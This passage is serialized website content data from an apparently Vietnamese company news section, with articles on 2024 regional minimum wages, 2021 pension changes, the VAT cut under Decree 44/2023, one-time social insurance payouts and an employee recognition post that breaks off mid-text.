III",[401,16063,16064],{"align":12298},"3.860.000",[401,16066,16067],{"align":12298},"18.600",[377,16069,16070,16073,16076],{},[401,16071,16072],{"align":12298},"Vùng IV",[401,16074,16075],{"align":12298},"3.450.000",[401,16077,16078],{"align":12298},"16.600",[11,16080,16081],{},[20,16082,16083],{},"1. Những thay đổi trong mức đóng bảo hiểm xã hội khi áp dụng mức lương tối thiểu vùng mới năm 2024.",[31,16085,16086,16089],{},[34,16087,16088],{},"Từ ngày 01\u002F07\u002F2024, đối với người lao động thuộc vùng I thì mức lương đóng bảo hiểm xã hội sẽ không thấp hơn 4.960.000\u002Ftháng.",[34,16090,16091],{},"Đối với người lao động thuộc vùng I (với mức lương tối thiểu vùng dự kiến là 4.960.000 đồng\u002Ftháng) thì mức lương đóng bảo hiểm thất nghiệp tối đa trong một tháng có thể lên tới 99,2 triệu đồng.",[11,16093,16094],{},[20,16095,16096],{},"2. Những lưu ý khi áp dụng mức lương tối thiểu vùng năm 2024.",[31,16098,16099,16102],{},[34,16100,16101],{},"Khi thực hiện mức lương tối thiểu vùng doanh nghiệp không được xóa bỏ hoặc cắt giảm các chế độ tiền lương khi người lao động làm thêm giờ, làm việc vào ban đêm hoặc làm việc trong điều kiện lao động nặng nhọc, độc hại. Bên cạnh đó, doanh nghiệp không được xóa bỏ chế độ bồi dưỡng bằng hiện vật đối với các chức danh nghề nặng nhọc, độc hại và các chế độ khác theo quy định của pháp luật lao động.",[34,16103,16104,16105],{},"Những đối tượng chịu ảnh hưởng khi mức lương tối thiểu vùng năm 2024 thay đổi ",[31,16106,16107,16110,16113,16116],{},[34,16108,16109],{},"Người lao động làm việc theo chế độ hợp đồng lao động theo quy định của Bộ luật Lao động.",[34,16111,16112],{},"Doanh nghiệp thành lập, tổ chức quản lý và hoạt động theo Luật Doanh nghiệp.",[34,16114,16115],{},"Hợp tác xã, liên hiệp hợp tác xã, tổ hợp tác, trang trại, hộ gia đình, cá nhân và các tổ chức khác của Việt Nam có thuê mướn lao động theo hợp đồng lao động.",[34,16117,16118],{},"Cơ quan, tổ chức nước ngoài, tổ chức quốc tế và cá nhân người nước ngoài tại Việt Nam có thuê mướn lao động theo hợp đồng lao động (trừ trường hợp điều ước quốc tế mà Cộng hòa xã hội chủ nghĩa Việt Nam là thành viên có quy định khác với quy định của Nghị định này).",[11,16120,16121],{},[20,16122,55],{},[31,16124,16125,16132,16139],{},[34,16126,16127,16128],{},"Dự thảo: ",[58,16129,16131],{"href":15948,"rel":16130},[62],"https:\u002F\u002Fxaydungchinhsach.chinhphu.vn\u002Ftoan-van-du-thao-nghi-dinh-quy-dinh-muc-luong-toi-vung",[34,16133,16134,16135],{},"Nghị định 38\u002F2022\u002FND-CP: ",[58,16136,16138],{"href":15985,"rel":16137},[62],"https:\u002F\u002Fthuvienphapluat.vn\u002Fvan-ban\u002FLao-dong-Tien-luong\u002FNghi-dinh-38-2022-ND-CP",[34,16140,16141,16142],{},"Nghị quyết 27-NQ\u002FTW: ",[58,16143,16145],{"href":15970,"rel":16144},[62],"https:\u002F\u002Fthuvienphapluat.vn\u002Fvan-ban\u002FLao-dong-Tien-luong\u002FNghi-quyet-27-NQ-TW-2018",{"title":66,"searchDepth":67,"depth":67,"links":16147},[],"2025-03-17","I. Thời điểm tăng lương tối thiểu vùng trong năm 2024 Theo Dự thảo Nghị định quy định mức lương tối thiểu vùng, thời điểm áp dụng mức lương tối thiểu vùng mới là từ ngày 01\u002F07\u002F2024. II. Mức lương tối thiểu vùng thay đổi như thế nào?      – Bộ Lao động – Thương binh và Xã hội đang Dự thảo Nghị",{},"\u002Fvi\u002Fnews\u002Fmuc-luong-toi-thieu-vung-ap-dung-tu-01-07-2024",{"title":15935,"description":16149},"vi\u002Fnews\u002Fmuc-luong-toi-thieu-vung-ap-dung-tu-01-07-2024","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2024\u002F06\u002F05133908\u002F202405-768x576.png","WBSOqJktv_v-myfdjTGSzGoIs10jvSSuzHR8XgOBO6g",{"id":16157,"title":16158,"body":16159,"category":69,"created by":70,"date":16238,"description":16239,"extension":72,"meta":16240,"navigation":74,"path":16241,"sections":76,"seo":16242,"stem":16243,"thumbnail":16244,"__hash__":16245},"content_vi\u002Fvi\u002Fnews\u002Fnew-information-directly-affecting-the-pension-benefits.md","04 THÔNG TIN MỚI ẢNH HƯỞNG TRỰC TIẾP ĐẾN NHỮNG AI CÓ LƯƠNG HƯU",{"type":8,"value":16160,"toc":16236},[16161,16168,16171,16174,16177,16180,16187,16190,16193,16196,16203,16206,16209,16217,16220,16227,16230,16233],[11,16162,16163],{},[20,16164,16165],{},[1277,16166,16167],{},"1. Lương hưu năm 2021 không tăng",[11,16169,16170],{},"Cùng với việc tăng mức lương cơ sở vào ngày 01\u002F07 hàng năm, lương hưu cũng sẽ được điều chỉnh tăng đồng thời vào thời điểm này.",[11,16172,16173],{},"Tuy nhiên, do sự bùng phát của dịch bệnh Covid-19, nên lương cơ sở năm 2021 vẫn được giữ nguyên ở mức 1.490.000 đồng\u002Ftháng. Cụ thể, Nghị quyết 128\u002F2020\u002FQH14, Quốc hội chủ trương:",[11,16175,16176],{},"Trong năm 2021, chưa thực hiện điều chỉnh mức lương cơ sở, chuẩn nghèo.",[11,16178,16179],{},"Như vậy, mức lương hưu năm 2021 cũng sẽ không được điều chỉnh tăng.",[11,16181,16182],{},[20,16183,16184],{},[1277,16185,16186],{},"2. Lương hưu tháng 01\u002F2021 và tháng 02\u002F2021 được trả gộp",[11,16188,16189],{},"Theo thông lệ, dịp Tết Nguyên Đán, người đang hưởng lương hưu sẽ được trả gộp 02 tháng lương cùng lúc. Năm nay cũng không là ngoại lệ",[11,16191,16192],{},"Vừa qua, Bảo hiểm xã hội Việt Nam đã có văn bản gửi cơ quan Bảo Hiểm Xã Hội các tỉnh, thành phố trực thuộc trung ương về việc chi trả 02 tháng lương hưu (tháng 01 và tháng 02\u002F2021) cùng lúc.",[11,16194,16195],{},"Việc trả gộp 02 tháng lương hưu cùng lúc nhằm tạo điều kiện cho người hưởng lương hưu có thể vui Tết cổ truyền đầy đủ nhất.",[11,16197,16198],{},[20,16199,16200],{},[1277,16201,16202],{},"3. Nam đủ 60 tuổi, nữ đủ 55 tuổi vẫn chưa được hưởng lương hưu",[11,16204,16205],{},"Trước đây, theo quy định tại điểm a, khoản 1 Điều 54 Luật Bảo hiểm xã hội 2014, nam từ đủ 60 tuổi, nữ từ đủ 55 tuổi trở lên, đóng bảo hiểm xã hội từ đủ 20 năm trở lên sẽ được hưởng lương hưu.",[11,16207,16208],{},"Tuy nhiên, Từ ngày 01\u002F01\u002F2021, quy định nêu trên sẽ được sửa đổi bởi Bộ luật Lao động 2019. Theo đó, điều kiện về tuổi nghỉ hưu vào năm 2021 được điều chỉnh như sau:",[31,16210,16211,16214],{},[34,16212,16213],{},"Lao động nam phải đủ 60 tuổi 03 tháng;",[34,16215,16216],{},"Lao động nữ phải đủ 55 tuổi 04 tháng.",[11,16218,16219],{},"Như vậy, người lao động năm 2021 đủ 60 tuổi (với nam) và đủ 55 tuổi (với nữ) vẫn chưa được hưởng lương hưu, mà phải đợi thêm 03 tháng nữa với nam và thêm 04 tháng nữa với nữ.",[11,16221,16222],{},[20,16223,16224],{},[1277,16225,16226],{},"4. Thay đổi số năm đóng BHXH với lao động nam để tính mức lương hưu",[11,16228,16229],{},"Theo quy định tại điểm a khoản 2 Điều 56 và điểm a khoản 2 Điều 74 Luật Bảo hiểm xã hội 2014.",[11,16231,16232],{},"Mức lương hưu hằng tháng của người lao động được tính bằng 45% mức bình quân tiền lương tháng đóng bảo hiểm xã hội và tương ứng với số năm đóng bảo hiểm xã hội.",[11,16234,16235],{},"Trong đó, nếu nghỉ hưu vào năm 2021, số năm đóng bảo hiểm xã hội của lao động nam được tính là 19 năm (trong khi năm 2020 là 18 năm).",{"title":66,"searchDepth":67,"depth":67,"links":16237},[],"2021-04-15","1. Lương hưu năm 2021 không tăng Cùng với việc tăng mức lương cơ sở vào ngày 01\u002F07 hàng năm, lương hưu cũng sẽ được điều chỉnh tăng đồng thời vào thời điểm này.",{},"\u002Fvi\u002Fnews\u002Fnew-information-directly-affecting-the-pension-benefits",{"title":16158,"description":16239},"vi\u002Fnews\u002Fnew-information-directly-affecting-the-pension-benefits","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F04\u002F07093223\u002F04ThongTinAnhHuongNguoiCoLuongHuu-1.png","mcO5PYwqb0aI6dRXMNGDFM1Cs1wBfEAS-Dd7dtoU0_4",{"id":16247,"title":16248,"body":16249,"category":69,"created by":6140,"date":16570,"description":16571,"extension":72,"meta":16572,"navigation":74,"path":16573,"sections":76,"seo":16574,"stem":16575,"thumbnail":16576,"__hash__":16577},"content_vi\u002Fvi\u002Fnews\u002Fnghi-dinh-44-2023-nd-cp-ve-giam-thue-gtgt-va-nhung-dieu-can-biet.md","NGHỊ ĐỊNH 44\u002F2023\u002FNĐ-CP VỀ GIẢM THUẾ GTGT VÀ NHỮNG ĐIỀU CẦN BIẾT",{"type":8,"value":16250,"toc":16564},[16251,16272,16278,16285,16291,16298,16405,16411,16418,16461,16467,16473,16476,16479,16487,16493,16496,16499,16518,16520],[11,16252,16253,16254,16259,16260,16265,16266,16271],{},"Ngày 30\u002F6\u002F2023, Tổng cục Thuế đã ban hành ",[58,16255,16258],{"href":16256,"rel":16257},"https:\u002F\u002Fthuvienphapluat.vn\u002Fvan-ban\u002FThue-Phi-Le-Phi\u002FCong-dien-05-CD-TCT-2023-trien-khai-Nghi-dinh-44-2023-ND-CP-giam-thue-gia-tri-gia-tang-571347.aspx",[62],"Công điện 05\u002FCĐ-TCT"," về việc triển khai ",[58,16261,16264],{"href":16262,"rel":16263},"https:\u002F\u002Fxaydungchinhsach.chinhphu.vn\u002Ftoan-van-nghi-dinh-44-2023-nd-cp-ve-giam-thue-gia-tri-gia-tang-119230630185610998.htm",[62],"Nghị định 44\u002F2023\u002FNĐ-CP"," quy định chính sách giảm thuế giá trị gia tăng theo ",[58,16267,16270],{"href":16268,"rel":16269},"https:\u002F\u002Fthuvienphapluat.vn\u002Fvan-ban\u002FBo-may-hanh-chinh\u002FNghi-quyet-101-2023-QH15-ky-hop-thu-5-Quoc-hoi-khoa-XV-571915.aspx",[62],"Nghị quyết 101\u002F2023\u002FQH15"," của Quốc hội.",[498,16273,16275],{"id":16274},"thời-hạn-áp-dụng-chính-sách-giảm-thuế-gtgt-theo-nghị-định-442023nđ-cp",[20,16276,16277],{},"Thời hạn áp dụng chính sách giảm thuế GTGT theo Nghị định 44\u002F2023\u002FNĐ-CP",[11,16279,16280,16281,16284],{},"Chính sách giảm thuế GTGT theo quy định tại ",[58,16282,16264],{"href":16262,"rel":16283},[62]," được áp dụng từ 01\u002F7\u002F2023 đến hết ngày 31\u002F12\u002F2023.",[498,16286,16288],{"id":16287},"nội-dung-chính-sách-giảm-thuế-gtgt-theo-nghị-định-442023nđ-cp",[20,16289,16290],{},"Nội dung chính sách giảm thuế GTGT theo Nghị định 44\u002F2023\u002FNĐ-CP",[11,16292,16293,16294,16297],{},"Căn cứ theo nội dung tại Điều 1 ",[58,16295,16264],{"href":16262,"rel":16296},[62],", giảm thuế suất giá trị gia tăng xuống 8% đối với các nhóm hàng hóa, dịch vụ đang áp dụng mức thuế suất 10%, trừ các nhóm hàng hóa, dịch vụ sau:",[371,16299,16300,16317],{},[374,16301,16302],{},[377,16303,16304,16309,16314],{},[380,16305,16306],{},[20,16307,16308],{},"Nhóm hàng hóa, dịch vụ",[380,16310,16311],{},[20,16312,16313],{},"Áp dụng chính sách thuế",[380,16315,16316],{},"Căn cứ tra cứu",[396,16318,16319,16336,16349,16362,16375],{},[377,16320,16321,16327,16330],{},[401,16322,16323,16324,16326],{},"- Viễn thông, hoạt động tài chính, ngân hàng, chứng khoán, bảo hiểm, kinh doanh bất động sản, kim loại và sản phẩm từ kim loại đúc sẵn, sản phẩm khai khoáng (không kể khai thác than), than cốc, dầu mỏ tinh chế, sản phẩm hoá chất.",[570,16325],{}," - Mặt hàng than tại các khâu khác ngoài khâu khai thác bán ra.",[401,16328,16329],{},"Không được áp dụng chính sách giảm thuế GTGT mới năm 2023",[401,16331,16332,16333],{},"Phụ lục I ban hành kèm theo ",[58,16334,16264],{"href":16262,"rel":16335},[62],[377,16337,16338,16341,16344],{},[401,16339,16340],{},"- Đối với mặt hàng than khai thác bán ra (bao gồm cả trường hợp than khai thác sau đó qua sàng tuyển, phân loại theo quy trình khép kín mới bán ra)",[401,16342,16343],{},"Được áp dụng chính sách giảm thuế GTGT từ 10% xuống còn 8%",[401,16345,16346],{},[58,16347,16264],{"href":16262,"rel":16348},[62],[377,16350,16351,16354,16356],{},[401,16352,16353],{},"- Sản phẩm hàng hóa và dịch vụ chịu thuế tiêu thụ đặc biệt",[401,16355,16329],{},[401,16357,16358,16359],{},"Phụ lục II ban hành kèm theo ",[58,16360,16264],{"href":16262,"rel":16361},[62],[377,16363,16364,16367,16369],{},[401,16365,16366],{},"- Công nghệ thông tin theo pháp luật về công nghệ thông tin",[401,16368,16329],{},[401,16370,16371,16372],{},"Phụ lục III ban hành kèm theo ",[58,16373,16264],{"href":16262,"rel":16374},[62],[377,16376,16377,16380,16383],{},[401,16378,16379],{},"- Hàng hóa, dịch vụ không chịu thuế và chịu thuế GTGT 5% theo quy định của Luật Thuế GTGT",[401,16381,16382],{},"Tiếp tục áp dụng theo luật thuế GTGT trước đây, không được áp dụng chính sách giảm thuế GTGT mới năm 2023",[401,16384,16385,16390,16391,16390,16396,16401],{},[58,16386,16389],{"href":16387,"rel":16388},"https:\u002F\u002Fthuvienphapluat.vn\u002Fvan-ban\u002FThue-Phi-Le-Phi\u002FThong-tu-219-2013-TT-BTC-huong-dan-Luat-thue-gia-tri-gia-tang-va-Nghi-dinh-209-2013-ND-CP-220761.aspx",[62],"Thông tư số 219\u002F2013\u002FTT-BTC","  ",[58,16392,16395],{"href":16393,"rel":16394},"https:\u002F\u002Fthuvienphapluat.vn\u002Fvan-ban\u002FThue-Phi-Le-Phi\u002FThong-tu-26-2015-TT-BTC-huong-dan-12-2015-ND-CP-thue-gia-tri-gia-tang-sua-doi-39-2014-TT-BTC-267174.aspx",[62],"Thông tư 26\u002F2015\u002FTT-BTC",[58,16397,16400],{"href":16398,"rel":16399},"https:\u002F\u002Fthuvienphapluat.vn\u002Fvan-ban\u002FThue-Phi-Le-Phi\u002FThong-tu-43-2021-TT-BTC-sua-doi-Khoan-11-Dieu-10-Thong-tu-219-2013-TT-BTC-477641.aspx",[62],"Thông tư 43\u002F2021\u002FTT-BTC",[58,16402,16404],{"href":16398,"rel":16403},[62],"C",[498,16406,16408],{"id":16407},"mức-giảm-thuếgtgt-theo-nghị-định-442023nđ-cp",[20,16409,16410],{},"Mức giảm thuếGTGT theo Nghị định 44\u002F2023\u002FNĐ-CP",[11,16412,16413,16414,16417],{},"Căn cứ theo nội dung tại khoản 2, Điều 1 ",[58,16415,16264],{"href":16262,"rel":16416},[62],", mức giảm thuế giá trị gia tăng được quy định như sau:",[371,16419,16420,16437],{},[374,16421,16422],{},[377,16423,16424,16427,16432],{},[380,16425,16426],{},"Phương pháp tính thuế GTGT",[380,16428,16429],{},[20,16430,16431],{},"Mức thuế GTGT trước đó",[380,16433,16434],{},[20,16435,16436],{},"Mức thuế GTGT khi áp dụng Nghị định 44\u002F2023\u002FNĐ-CP",[396,16438,16439,16450],{},[377,16440,16441,16444,16447],{},[401,16442,16443],{},"Phương pháp khấu trừ",[401,16445,16446],{},"10%",[401,16448,16449],{},"8% - Đối với nhóm hàng hóa, dịch vụ thuộc đối tượng được giảm thuế",[377,16451,16452,16455,16458],{},[401,16453,16454],{},"Phương pháp tỷ lệ % trên doanh thu (bao gồm cả hộ kinh doanh, cá nhân kinh doanh)",[401,16456,16457],{},"Mức tỷ lệ % tính thuế GTGT tùy theo từng loại hình dịch vụ, hàng hóa",[401,16459,16460],{},"Giảm 20% mức tỷ lệ % để tính thuế GTGT",[498,16462,16464],{"id":16463},"lập-thuế-hóa-đơn-thuế-gtgt-8-theo-nghị-định-442023nđ-cp",[20,16465,16466],{},"Lập thuế hóa đơn thuế GTGT 8% theo Nghị định 44\u002F2023\u002FNĐ-CP",[11,16468,15945,16469,16472],{},[58,16470,16264],{"href":16262,"rel":16471},[62]," hướng dẫn lập hóa đơn thuế GTGT 8% như sau:",[11,16474,16475],{},"Đối với cơ sở kinh doanh tính thuế giá trị gia tăng theo phương pháp khấu trừ:",[11,16477,16478],{},"Khi lập hoá đơn giá trị gia tăng cung cấp hàng hóa, dịch vụ thuộc đối tượng giảm thuế giá trị gia tăng:",[31,16480,16481,16484],{},[34,16482,16483],{},"Tại dòng thuế suất thuế giá trị gia tăng ghi: \"8%\".",[34,16485,16486],{},"Tiền thuế giá trị gia tăng; tổng số tiền người mua phải thanh toán tính và ghi theo thuế suất 8%.",[11,16488,16489,16490,974],{},"Lưu ý: Trường hợp cơ sở kinh doanh tính thuế giá trị gia tăng theo phương pháp khấu trừ khi bán hàng hóa, cung cấp dịch vụ áp dụng các mức thuế suất khác nhau thì trên hóa đơn giá trị gia tăng phải ghi rõ thuế suất của từng hàng hóa, dịch vụ theo quy định tại khoản 3 Điều 1 ",[58,16491,16264],{"href":16262,"rel":16492},[62],[11,16494,16495],{},"Đối với cơ sở kinh doanh (bao gồm cả hộ kinh doanh, cá nhân kinh doanh) tính thuế giá trị gia tăng theo phương pháp tỷ lệ % trên doanh thu:",[11,16497,16498],{},"Khi lập hoá đơn bán hàng cung cấp hàng hóa, dịch vụ thuộc đối tượng giảm thuế giá trị gia tăng:",[31,16500,16501,16504,16507],{},[34,16502,16503],{},"Tại cột \"Thành tiền\": Ghi đầy đủ tiền hàng hóa, dịch vụ trước khi giảm.",[34,16505,16506],{},"Tại dòng \"Cộng tiền hàng hóa, dịch vụ\": Ghi theo số đã giảm 20% mức tỷ lệ % trên doanh thu.",[34,16508,16509,16510,56,16513,595],{},"Đồng thời ghi chú: \"",[1277,16511,16512],{},"đã giảm… (số tiền) tương ứng 20% mức tỷ lệ % để tính thuế giá trị gia tăng theo",[58,16514,16516],{"href":16268,"rel":16515},[62],[1277,16517,16270],{},[11,16519,55],{},[31,16521,16522,16529,16536,16543,16550,16557],{},[34,16523,16524,16525],{},"Công điện 05\u002FCĐ-TCT: ",[58,16526,16528],{"href":16256,"rel":16527},[62],"https:\u002F\u002Fthuvienphapluat.vn\u002Fvan-ban\u002FThue-Phi-Le-Phi\u002FCong-dien-05-CD-TCT-2023",[34,16530,16531,16532],{},"Nghị định 44\u002F2023\u002FNĐ-CP: ",[58,16533,16535],{"href":16262,"rel":16534},[62],"https:\u002F\u002Fxaydungchinhsach.chinhphu.vn\u002Ftoan-van-nghi-dinh-44-2023",[34,16537,16538,16539],{},"Nghị quyết 101\u002F2023\u002FQH15: ",[58,16540,16542],{"href":16268,"rel":16541},[62],"https:\u002F\u002Fthuvienphapluat.vn\u002Fvan-ban\u002FBo-may-hanh-chinh\u002FNghi-quyet-101-2023-QH15",[34,16544,16545,16546],{},"Thông tư số 219\u002F2013\u002FTT-BTC: ",[58,16547,16549],{"href":16387,"rel":16548},[62],"https:\u002F\u002Fthuvienphapluat.vn\u002Fvan-ban\u002FThue-Phi-Le-Phi\u002FThong-tu-219-2013-TT-BTC",[34,16551,16552,16553],{},"Thông tư 26\u002F2015\u002FTT-BTC: ",[58,16554,16556],{"href":16393,"rel":16555},[62],"https:\u002F\u002Fthuvienphapluat.vn\u002Fvan-ban\u002FThue-Phi-Le-Phi\u002FThong-tu-26-2015-TT-BTC",[34,16558,16559,16560],{},"Thông tư 43\u002F2021\u002FTT-BTCC: ",[58,16561,16563],{"href":16398,"rel":16562},[62],"https:\u002F\u002Fthuvienphapluat.vn\u002Fvan-ban\u002FThue-Phi-Le-Phi\u002FThong-tu-43-2021-TT-BTC",{"title":66,"searchDepth":67,"depth":67,"links":16565},[16566,16567,16568,16569],{"id":16274,"depth":67,"text":16277},{"id":16287,"depth":67,"text":16290},{"id":16407,"depth":67,"text":16410},{"id":16463,"depth":67,"text":16466},"2023-09-26","Ngày 30\u002F6\u002F2023, Tổng cục Thuế đã ban hành Công điện 05\u002FCĐ-TCT về việc triển khai Nghị định 44\u002F2023\u002FNĐ-CP quy định chính sách giảm thuế giá trị gia tăng theo Nghị quyết 101\u002F2023\u002FQH15 của Quốc hội. Thời hạn áp dụng chính sách giảm thuế GTGT theo Nghị định 44\u002F2023\u002FNĐ-CP Chính sách giảm thuế GTGT theo quy định tại Nghị định 44\u002F2023\u002FNĐ-CP được áp dụng từ 01\u002F7\u002F2023",{},"\u002Fvi\u002Fnews\u002Fnghi-dinh-44-2023-nd-cp-ve-giam-thue-gtgt-va-nhung-dieu-can-biet",{"title":16248,"description":16571},"vi\u002Fnews\u002Fnghi-dinh-44-2023-nd-cp-ve-giam-thue-gtgt-va-nhung-dieu-can-biet","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F08\u002F24153928\u002FPIC-news-Final.png","hiJjReoliXxP67Uw1o0e4vppD9sewdfAm-AO7P73A14",{"id":16579,"title":16580,"body":16581,"category":69,"created by":70,"date":16658,"description":16659,"extension":72,"meta":16660,"navigation":74,"path":16661,"sections":76,"seo":16662,"stem":16663,"thumbnail":16664,"__hash__":16665},"content_vi\u002Fvi\u002Fnews\u002Fnhan-bao-hiem-xa-hoi-mot-lan-nguoi-lao-dong-se-mat-nhung-quyen-loi-gi.md","NHẬN BẢO HIỂM XÃ HỘI MỘT LẦN, NGƯỜI LAO ĐỘNG SẼ MẤT NHỮNG QUYỀN LỢI GÌ?",{"type":8,"value":16582,"toc":16656},[16583,16586,16591,16594,16602,16607,16610,16618,16623,16626,16631,16634,16637,16642,16645,16648,16653],[11,16584,16585],{},"Do tác động tiêu cực của đại dịch Covid-19 đến thị trường lao động, hiện nay, tình trạng người lao động mất việc làm tăng cao. Để giải quyết vấn đề thu nhập trước mắt, nhiều người lao động bị mất việc làm lựa chọn hưởng bảo hiểm xã hội một lần. Theo đánh giá của Bảo hiểm xã hội Việt Nam, việc này khiến người lao động đánh mất 05 quyền lợi quan trọng dưới đây:",[11,16587,16588],{},[20,16589,16590],{},"1. Không được cộng dồn thời gian đóng BHXH",[11,16592,16593],{},"Sau khi nhận Bảo hiểm xã hội một lần, quá trình tham gia BHXH sau này của người lao động sẽ không được cộng dồn thời gian tham gia BHXH trước đó mà sẽ tính theo thời gian mới. Điều này ảnh hưởng đến lương hưu của người lao động:",[31,16595,16596,16599],{},[34,16597,16598],{},"Không được hưởng lương hưu, không có thu nhập để đảm bảo cuộc sống khi về già, mất khả năng lao động.",[34,16600,16601],{},"Lương hưu thấp: do thời gian đóng BHXH ngắn nên lương hưu được chi trả sẽ thấp, mất nguồn tài chính ổn định hỗ trợ cho cuộc sống của lao động khi về hưu.",[11,16603,16604],{},[20,16605,16606],{},"2. Quyền lợi về thẻ BHYT và chế độ mai táng",[11,16608,16609],{},"Nhận BHXH một lần, người lao động sẽ bị hạn chế các quyền lợi về cấp thẻ BHYT khi về hưu và trợ cấp mai táng khi không may qua đời:",[31,16611,16612,16615],{},[34,16613,16614],{},"Trong thời gian hưởng lương hưu, người lao động được quỹ BHXH chi trả kinh phí, cấp miễn phí thẻ BHYT và được hưởng đầy đủ các quyền lợi về khám chữa bệnh có BHYT. Còn nếu người lao động nhận bảo hiểm xã hội một lần các quyền lợi vừa nêu người lao động sẽ không được hưởng.",[34,16616,16617],{},"Khi người lao động hưởng lương hưu không may qua đời thì người nhà chịu trách nhiệm lo mai táng sẽ được hưởng trợ cấp mai táng tính bằng 10 lần lương cơ sở tại thời điểm người lao động đó qua đời. Đồng thời, thân nhân của người qua đời cũng sẽ được hưởng trợ cấp tử tuất hàng tháng.",[11,16619,16620],{},[20,16621,16622],{},"3. Mất cơ hội bảo lưu và tích trữ khoản tiền đóng BHXH, mất nhiều quyền lợi cho người thân",[11,16624,16625],{},"Khoản tiền người lao động tham gia BHXH được coi như “của để dành”, không mất đi theo thời gian. Người lao động có thể thực hiện bảo lưu, khi có cơ hội thì tiếp tục tham gia BHXH. Trong thời gian bảo lưu, trường hợp không may người lao động qua đời thì gia đình vẫn được hưởng trợ cấp tử tuất, trợ cấp mai táng.",[11,16627,16628],{},[20,16629,16630],{},"4. Thiệt thòi về mức hưởng trợ cấp BHXH",[11,16632,16633],{},"Khi nhận BHXH một lần, người lao động bị thiệt thòi hơn rất nhiều. Vì khi đóng BHXH, 22% mức tiền lương đóng BHXH sẽ được đóng vào quỹ hưu trí, tử tuất, tính tổng một năm tổng mức đóng cho quỹ này là 2,64 tháng lương đóng BHXH.",[11,16635,16636],{},"Trong khi mức hưởng BHXH một lần mỗi năm tính bằng 1.5 tháng mức bình quân tiền lương tham gia BHXH áp dụng với thời gian đóng BHXH trước năm 2014 và tính bằng 2 tháng mức bình quân tiền lương đóng BHXH cho khoảng thời gian từ năm 2014 trở đi.",[11,16638,16639],{},[20,16640,16641],{},"5. Người hưởng lương hưu sẽ có trợ cấp ổn định, đảm bảo cuộc sống hơn người hưởng BHXH 1 lần",[11,16643,16644],{},"Đối với người nhận bảo hiểm xã hội một lần, người lao động nhận một lần duy nhất và rất dễ sử dụng hết tiền dưỡng già. Khi về già, lao động phụ thuộc vào con cháu và xã hội.",[11,16646,16647],{},"Khi nhận lương hưu, người tham gia BHXH sẽ được hưởng mức lương hưu được điều chỉnh định kỳ theo chỉ số tiêu dùng và theo tình hình kinh tế. Vì vậy, người lao động sẽ có mức trợ cấp ổn định và đáp ứng được cho cuộc sống.",[11,16649,16650],{},[20,16651,16652],{},"Vậy sau khi nghỉ việc, người lao động nên lựa chọn hưởng chế độ nào là tốt nhất?",[11,16654,16655],{},"Để giải quyết các vấn đề về mất thu nhập trong thời kỳ khó khăn của dịch bệnh Covid-19, BHXH Việt Nam tư vấn, người lao động nếu không may bị thất nghiệp thì nên đăng ký nhận trợ cấp thất nghiệp, trợ cấp học nghề hoặc đăng ký để nhận chế đội hỗ trợ từ gói an sinh xã hội của Chính phủ thay vì hưởng chế độ BHXH một lần.",{"title":66,"searchDepth":67,"depth":67,"links":16657},[],"2021-07-09","Do tác động tiêu cực của đại dịch Covid-19 đến thị trường lao động, hiện nay, tình trạng người lao động mất việc làm tăng cao. Để giải quyết vấn đề thu nhập trước mắt, nhiều người lao động bị mất việc làm lựa chọn hưởng bảo hiểm xã hội một lần. Theo đánh giá của Bảo hiểm xã hội Việt Nam, việc này khiến người lao động đánh mất 05 quyền lợi quan trọng dưới đây",{},"\u002Fvi\u002Fnews\u002Fnhan-bao-hiem-xa-hoi-mot-lan-nguoi-lao-dong-se-mat-nhung-quyen-loi-gi",{"title":16580,"description":16659},"vi\u002Fnews\u002Fnhan-bao-hiem-xa-hoi-mot-lan-nguoi-lao-dong-se-mat-nhung-quyen-loi-gi","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F06\u002F02085032\u002FNhanBHXHMotLanChiuNhieuThietThoi.png","wzLfg57gzx9kkxIueI289k27HlWDY5VDkvnPcKRLKcs",{"id":16667,"title":16668,"body":16669,"category":69,"created by":70,"date":16759,"description":16760,"extension":72,"meta":16761,"navigation":74,"path":16762,"sections":76,"seo":16763,"stem":16764,"thumbnail":16765,"__hash__":16766},"content_vi\u002Fvi\u002Fnews\u002Fnhan-vien-xuat-sac-quy-1-2021.md","Nhân viên xuất sắc Quý 1\u002F2021",{"type":8,"value":16670,"toc":16757},[16671,16674,16677,16680,16684,16688,16692,16695,16698,16701,16706,16711,16715,16718,16721,16724,16727,16732,16736,16739,16742,16745,16748,16751,16754],[11,16672,16673],{},"Chào các bạn! Lại là chuyên mục Nhân viên xuất sắc của Quý đây!",[11,16675,16676],{},"Kỳ này, chuyên mục xin phép được giới thiệu những cá nhân có thành tích xuất sắc Quý 1\u002F2021.",[11,16678,16679],{},"Các bạn có đoán được là ai không nhỉ? Kéo xuống dưới bài viết để chiêm ngưỡng những gương mặt nào tỏa sáng kỳ này nhé!",[11,16681,16682],{},[20,16683,9363],{},[11,16685,16686],{},[20,16687,9388],{},[533,16689],{"className":16690,"alt":66,"src":16691,"style":1999},[536,537],"https:\u002F\u002Fhomepage-media.s3.ap-southeast-1.amazonaws.com\u002Fwp-content\u002Fuploads\u002F2021\u002F05\u002F06112336\u002FKh%C3%A1nh-scaled.jpg",[11,16693,16694],{},"Các bạn còn nhớ bạn nam này không?",[11,16696,16697],{},"Lại 1 lần nữa, bạn nam đến từ team Dev2 này đã ghi tên mình vào danh sách nhân viên xuất sắc của Quý 1\u002F2021. Lần này, bạn đã xuất sắc hơn nữa khi bức phá lên và đạt giải nhất của Quý ",[11,16699,16700],{},"Hi vọng với tinh thần ham học hỏi, làm việc cống hiến này, Khánh có thể thăng tiến nhiều hơn nữa trong tương lai.",[11,16702,16703],{},[20,16704,16705],{},"Đồng Giải Nhì",[11,16707,16708],{},[20,16709,16710],{},"Bạn Tào Viết Hà, team Dev3",[533,16712],{"className":16713,"alt":66,"src":16714,"style":1999},[536,537],"https:\u002F\u002Fhomepage-media.s3.ap-southeast-1.amazonaws.com\u002Fwp-content\u002Fuploads\u002F2021\u002F05\u002F06112342\u002FH%C3%A0-scaled.jpg",[11,16716,16717],{},"Chắc hẳn mọi người cũng không còn xa lạ gì với gương mặt này, đúng không ạ?",[11,16719,16720],{},"Bạn Hà đã từng ghi 